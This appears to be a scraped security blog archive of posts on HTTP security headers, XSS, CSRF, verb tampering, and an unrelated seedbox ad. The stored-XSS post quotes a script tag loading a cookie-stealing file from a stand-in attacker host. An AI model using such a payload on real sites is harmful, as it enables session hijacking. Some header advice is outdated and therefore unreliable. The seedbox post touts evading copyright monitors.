HTTP

Preventing Cross-Site Scripting Attacks

Photo by Pawel Czerwinski on Unsplash

Implementing HTTP security headers are an essential way to keep your site and your visitors safe from attacks and hackers. In a previous post, we dove into how the X-Frame-Options header and frame-ancestors directive can help combat click jacking. In today’s post, we want to go more in-depth with the X-XSS-Protection header, as well as the newer CSP Reflected-XSS directive, and how they can help prevent cross-site scripting (XSS) attacks.

What is X-XSS Protection?

The x-xss-protection the header is designed to enable the cross-site scripting (XSS) filter built into modern web browsers. This is usually enabled by default, but using it will enforce it. It is supported by Internet Explorer 8+, Chrome, and Safari. The recommended configuration is to set this header to the following value, which will enable the XSS protection and instruct the browser to block the response in the event that a malicious script has been inserted from user input, instead of sanitizing.

x-xss-protection: 1; mode=block

Cross-site Scripting (XSS)

Cross-site scripting, also known as XSS, is basically a way to inject code that will perform actions in the user’s browser on behalf of a website. Sometimes this is seen by the user and sometimes it can go totally unnoticed in the background. There are many different types of XSS vulnerabilities, below are two of the most common.

Reflective XSS: These are usually the most common types. Typically these are within HTTP query parameters and are used by server-side scripts to parse and display a page of results for the user.

Persistent XSS: These are when the data from the attacker is actually saved on the server and then displayed to the user, mimicking a normal page.

Other XSS vulnerabilities include DOM-based, stored server, reflected server, stored client, reflected client, and the subset of a client. Below is an example of how an XSS attack works.

X-XSS-Protection Directives

A 0 value disables the XSS Filter, as seen below.

x-xss-protection:0;

A 1 value enables the XSS Filter. If a cross-site scripting attack is detected, in order to stop the attack, the browser will sanitize the page.

x-xss-protection:1; mode=block

Enabling X-XSS Protection Header

The x-xss-protection the header is easy to implement and only requires a slight web server configuration change. You might also want to check to make sure you don’t already have the header enabled. Here is a couple of easy ways to quickly check.

  1. Open up the network tab in Chrome DevTools and if your site is using a security header it will show up on the Headers tab. You can see below that even we are using this security header on the KeyCDN blog.
  2. Another quick way to check your security headers is to quickly scan your site with a free tool, securityheaders.io, created by Scott Helme. This gives you a grade based on all of your security headers and you can see what you might be missing.

Enable in Nginx

add_header x-xss-protection "1; mode=block" always;

Enable in Apache

header always set x-xss-protection "1; mode=block"

Enable on IIS

To enable on IIS simply add it to your site’s Web.config file.
…

<httpProtocol>
    <customHeaders>
        <add name="X-XSS-Protection" value="1; mode=block" />
    </customHeaders>
</httpProtocol>
    .......
</system.webServer>

Reflected-XSS Directive

An important thing to keep in mind is that the X-XSS-Protection header is pretty much being replaced with the new Content Security Policy (CSP) Reflected-XSS directive. The reflected-xss directive instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks. Valid values are allow, block, and filter. This directive is not supported in the <meta> element.

However, it is not supported in all browsers yet, and so it is still recommended to use the x-xss-protection header. However, you could use both the x-xss-protection and reflected-xss together.

Summary

Hopefully, now you understand a little more about what the x-xss-protection HTTP response header does and how it can help prevent cross-site scripting (XSS) attacks. As seen above, this is very easy to implement. We use security headers on our websites and we encourage you to do the same. Together we can make the web a more secure place and help boost the security header usage numbers.

July 29, 2024 by Application Security 0

HTTP Verb Tampering

Photo by Christopher Gower on Unsplash

HTTP is the protocol that lets applications respond to requests and retrieve data. An HTTP verb is one of several actions the application can use when querying the server. Standard HTTP verbs include:

  • GET: retrieves data from specified source
  • HEAD: requests preview of specified resource
  • POST: submits entity to specified resource, such as editing data
  • PUT: transmits new data to the specified resource replacing the old information
  • DELETE: deletes the specified resource entirely

Most web applications use HTTP verbs to authenticate users and manage access privileges. However, malicious actors can bypass authentication and access controls to protect privileged information.

December 2, 2023 by Application Security 0

Hardening Your HTTP Security Headers Part 2

Photo by Maik Jonietz on Unsplash

4. X-Frame-Options

The x-frame-options header provides click jacking protection by not allowing iframes to load on your website. It is supported by IE 8+, Chrome 4.1+, Firefox 3.6.9+, Opera 10.5+, Safari 4+. Here is an example of what the header looks like:

x-frame-options: SAMEORIGIN

Enable in Nginx

add_header x-frame-options "SAMEORIGIN" always;

Enable in Apache

header always set x-frame-options "SAMEORIGIN"

5. Expect-CT

The expect-ct header prevents miss used certificates from being used by allowing websites to report and optionally enforce Certificate Transparency requirements. When this header is enabled the website is requesting the browser to verify whether or not the certificate appears in the public CT logs. Here is an example of what the header looks like:

expect-ct: max-age=604800, enforce, report-uri=”https://www.example.com/report”

Enable in Nginx

add_header expect-ct "max-age=604800, enforce, report-uri='https://www.example.com/report' always;

Enable in Apache

header always set expect-ct "max-age=604800, enforce, report-uri="https://www.example.com/report"

6. X-Content-Type-Options

The x-content-type-options header prevents Internet Explorer and Google Chrome from sniffing a response away from the declared content-type. This helps reduce the danger of drive-by downloads and helps treat the content the right way. Here is an example of what the header looks like:

x-content-type-options: nosniff

Enable in Nginx

add_header x-content-type-options "nosniff" always;

Enable in Apache

header always set x-content-type-options "nosniff"

7. Feature-Policy

The feature-policy header grants the ability to allow or deny browser features, whether in its own frame or content within an inline frame element (<iframe>). Here is an example of what the header looks like:

feature-policy: autoplay 'none'; camera 'none'

Enable in Nginx

add_header feature-policy "autoplay 'none'; camera 'none'" always;

Enable in Apache

header always set feature-policy "autoplay 'none'; camera 'none'"

October 29, 2023 by Application Security 0

Hardening Your HTTP Security Headers Part 1

Photo by Markus Spiske on Unsplash

There are a lot of things to consider when securing your website or web application, but a good place to start is to explore your HTTP security headers and ensure you are keeping up with best practices. In many cases, they are very easy to implement and only require a slight web server configuration change. HTTP security headers provide yet another layer of security by helping to mitigate attacks and security vulnerabilities. In this post, we will explore some of them to help you better understand their purpose and how to implement them.

What Are HTTP Security Headers?

Whenever a browser requests a page from a web server, the server responds with the content along with HTTP response headers. Some of these headers contain content metadata such as the content-encoding, cache-control, status error codes, etc.

Along with these are also HTTP security headers that tell your browser how to behave when handling your website’s content. For example, by using the strict-transport-security you can force the browser to communicate solely over HTTPS. There are six different HTTP security headers that we will explore below (in no particular order) that you should be aware of and we recommend implementing if possible.

1. Content Security Policy

The content-security-policy the header provides an additional layer of security. This policy helps prevent attacks such as Cross-Site Scripting (XSS) and other code injection attacks by defining content sources that are approved and thus allowing the browser to load them.

All major browsers currently offer full or partial support for content security policy. And it won’t break the delivery of the content if it does happen to be delivered to an older browser, it will simply not be executed.

There are many directives which you can use with content security policy. This example below allows scripts from both the current domain (defined by ‘self’) as well as google-analytics.com.

content-security-policy: script-src ‘self’ https://www.google-analytics.com

To explore all of the directives, and to see implementation on Nginx and Apache, make sure to check out our in-depth post on Content Security Policy.

2. X-XSS-Protection

The x-xss-protection the header is designed to enable the cross-site scripting (XSS) filter built into modern web browsers. This is usually enabled by default, but using it will enforce it. It is supported by Internet Explorer 8+, Chrome, and Safari. Here is an example of what the header looks like:

x-xss-protection: 1; mode=block

Enable in Nginx

add_header x-xss-protection “1; mode=block” always;

Enable in Apache

header always set x-xss-protection “1; mode=block”

3. HTTP Strict Transport Security (HSTS)

The strict-transport-security header is a security enhancement that restricts web browsers to access web servers solely over HTTPS. This ensures the connection cannot be established through an insecure HTTP connection which could be susceptible to attacks.

All major modern browsers currently support HTTP strict transport security except for Opera Mini and versions previous of Internet Explorer.

Here is an example of what the header looks like: You can include the max-age, subdomains, and preload.

strict-transport-security: max-age=31536000; includeSubDomains; preload

To read more about this header and see implementation on Nginx and Apache, make sure to check out our in-depth post on HTTP Strict Transport Security.

October 15, 2023 by Application Security 0

What is a Seedbox?

Photo by Taylor Vick on Unsplash

A seedbox is a dedicated, high-speed server for downloading and uploading files. Most people rent seedboxes to achieve very fast torrent or Usenet transfers. Typically, you will see speeds from 100Mbps (8 MB/s) to 10Gbps (1250 MB/s) on a seedbox.

A seedbox also allows you to avoid ISP throttling and bypass eavesdroppers like the RIAA or MPAA.

Today, there are many seedbox providers — most are run by individuals or small companies. These seedboxes have some of the best feedback from customers:

How To Use A Seedbox

Generally, seedboxes are set up so that you can install Usenet and torrent applications quite easily.

Once the files are downloaded to the seedbox, they can then be downloaded to your computer via HTTP, FTP, SFTP, or rsync protocols. You can also directly stream the media from the seedbox with an application like Plex.

Some seedboxes may provide VNC connection or remote desktop protocol on some Windows-based machines. This allows many popular clients to be run remotely.

Seedbox Providers

These are my recommended seedbox providers:

  • RapidSeedbox offers root access and many apps available as “one click installs” including Plex and OpenVPN. Accepts bitcoin, 14 day refund policy. €15 euro ($18 USD) month-to-month.
  • DediSeedbox also offers OpenVPN and Plex as a “one click” install. Root access to your own VPS. Good disk space allowances (1TB with the $15 per month plan).
August 18, 2023 by Privacy 0

What is Data Leak Detection Software?

Photo by Daan Mooij on Unsplash

Data leak detection software identifies an organization’s data leaks – the accidental public exposure of sensitive data due to software misconfigurations and poor network security. Data leaks quickly become data breaches when cybercriminals identify and exploit this exposed data.

The following scenario demonstrates the progression of a cyberattack facilitated by a data leak attack vector:

Stage 1: An e-commerce company operates its website using the unsecured HTTP protocol, exposing customer transaction details.

Stage 2: A hacker identifies this vulnerability and undertakes a man-in-the-middle attack, intercepting customer contact details, credit card numbers, and other personal data.

Stage 3: The hacker posts this data for sale on a dark web forum.

If the e-commerce company was aware of this exposure, they could have patched it immediately, potentially avoiding a serious data breach. Data leak detection software fills this knowledge gap by proactively identifying vulnerabilities that lead to data breaches. Organizations can then prioritize their remediation workflows based on the severity of these threats.

March 29, 2023 by Software 0

HTTP Status Codes For Burp Suite Testing

Photo by Vlad Rosh on Unsplash

I’ll preface the testing first by mentioning that it’s important to have familiarity with the HTTP status codes to help us better understand how the server is handling our attack packets. Below is a subset of HTTP status codes from OWASP that can be used as a point of reference:

Status codeMessageDescription
200OKResponse to a successful REST API action. The HTTP method can be GET, POST, PUT, PATCH or DELETE.
201CreatedThe request has been fulfilled and resource created. A URL for the created resource is returned in the Location header.
202AcceptedThe request has been accepted for processing, but processing is not yet complete.
400Bad RequestThe request is malformed, such as message body format error.
401UnauthorizedWrong or no authentication ID/password provided.
403ForbiddenUsed when the authentication succeeded, but the authenticated user doesn’t have permission to the request resource.
404Not FoundWhen a non-existent resource is requested.
406UnacceptableThe client presented a content type in the Accept header which is not supported by the server API.
405Method Not AllowedThe error for an unexpected HTTP method. For example, the REST API is expecting HTTP GET, but HTTP PUT is used.
413Payload too largeUses to signal that the request size exceeded the given limit e.g. regarding file uploads.
415Unsupported Media TypeThe requested content type is not supported by the REST service.
429Too Many RequestsUsed when there may be DOS attack detected or the request is rejected due to rate limiting
500Internal Server ErrorAn unexpected condition prevented the server from fulfilling the request. Be aware that the response should not reveal internal information that helps an attacker, e.g. detailed error messages or stack traces.
501Not ImplementedThe REST service does not implement the requested operation yet.
503Service UnavailableThe REST service is temporarily unable to process the request. Used to inform the client it should retry later.
August 29, 2022 by Application Security 0

Cross-Site Request Forgery (CSRF) Attacks

Photo by Markus Spiske on Unsplash

What is CSRF

Cross-site request forgery (CSRF), also known as XSRF, Sea Surf or Session Riding, is an attack vector that tricks a web browser into executing an unwanted action in an application to which a user is logged in.

A successful CSRF attack can be devastating for both the business and the user. It can result in damaged client relationships, unauthorized fund transfers changed passwords and data theft—including stolen session cookies.

CSRFs are typically conducted using malicious social engineering, such as an email or link that tricks the victim into sending a forged request to a server. As the unsuspecting user is authenticated by their application at the time of the attack, it’s impossible to distinguish a legitimate request from a forged one.

CSRF Attack Example

Before executing an assault, a perpetrator typically studies an application in order to make a forged request appear as legitimate as possible.

For example, a typical GET request for a $100 bank transfer might look like:

A bad actor can embed the request into an innocent-looking hyperlink:

Next, he can distribute the hyperlink via email to a large number of bank customers. Those who click on the link while logged into their bank account will unintentionally initiate the $100 transfer.

Note that if the bank’s website is only using POST requests, it’s impossible to frame malicious requests using a <a> href tag. However, the attack could be delivered in a <form> tag with the automatic execution of the embedded JavaScript.

August 15, 2022 by Application Security 0

How to Check Your HTTP Security Headers

Photo by Kelly Sikkema on Unsplash

Below are three quick and easy ways to check your HTTP security headers, as part of your HTTP response headers.

1. KeyCDN’s HTTP Header Checker Tool

KeyCDN has an online HTTP Header Checker tool that you can easily use to retrieve which HTTP security headers are currently running on your website. Simply input the URL you want to check.

It will then return with your HTTP response headers.

2. Chrome DevTools – Response Headers

Another quick and easy way to access your HTTP security headers, as part of your response headers, is to fire up Chrome DevTools. To run this click into the “Network” panel press Ctrl + R (Cmd + R) to refresh the page. Click into your domain’s request and you will see a section for your response headers.

3. Scan Your Website With securityheaders.io

A third way to check your HTTP security headers is to scan your website on securityheaders.io. This is a handy little tool that was developed by Scott Helme, an information security consultant. It gives your website a score, based on present HTTP security headers, from an A+ grade down to an F grade. Make sure to bookmark it. Here is an example of an A+ grade on his own website.

Here is an example of an F grade without any of the HTTP security headers present on Citi’s corporate website.

It spits out both your raw HTTP headers and gives you a nice summary of each HTTP security header and what is missing.

Scott also created both a Chrome extension and Firefox extension in which you can scan the HTTP security headers of a website you want to analyze. He did an analysis in February 2016 of the Alexa top 1 million sites to see what their HTTP security header usage was and the results might surprise you. The number of sites using the strict-transport-security header nearly doubled. So it appears more people are starting to implement them, especially now that many companies are making the transition to HTTPS. We recommend during an HTTPS migration to do a full evaluation of your current security policies.

Content Security Policy (CSP) especially can be a powerful mechanism to prevent Cross-Site Scripting (XSS) attacks which accounts for 84% of all security vulnerabilities in web sites. However, as you can see above less than 5% of websites are actively using the headers. This needs to change.

Summary

As you can see HTTP security headers can help harden the security of your website and in most scenarios, there is no reason not to use them. If you don’t control access to your own web servers we recommend reaching out to your web host and let them know. Maybe send them a link from securityheaders.io, an F grade is never a good thing!

July 15, 2022 by Application Security 0

Stored Cross-Site Scripting (XSS) Attacks

Photo by Florian Olivo on Unsplash

What is stored cross-site scripting

Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

To successfully execute a stored XSS attack, a perpetrator has to locate a vulnerability in a web application and then inject malicious script into its server (e.g., via a comment field).

One of the most frequent targets is websites that allow users to share content, including blogs, social networks, video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is transmitted to the victim’s browser.

Stored XSS Attack

While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened.

The attacker adds the following comment: Great price for a great item! Read my review here

“<script src=”http://hackersite.com/authstealer.js”> </script>”

From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site and has the ability to steal visitors’ session cookies.

Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.

Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter their level of vigilance.

From the perpetrator’s standpoint, persistent XSS attacks are relatively harder to execute because of the difficulties in locating both a trafficked website and one with vulnerabilities that enables permanent script embedding.

April 29, 2022 by Application Security 0

Recent Comments

No comments to show.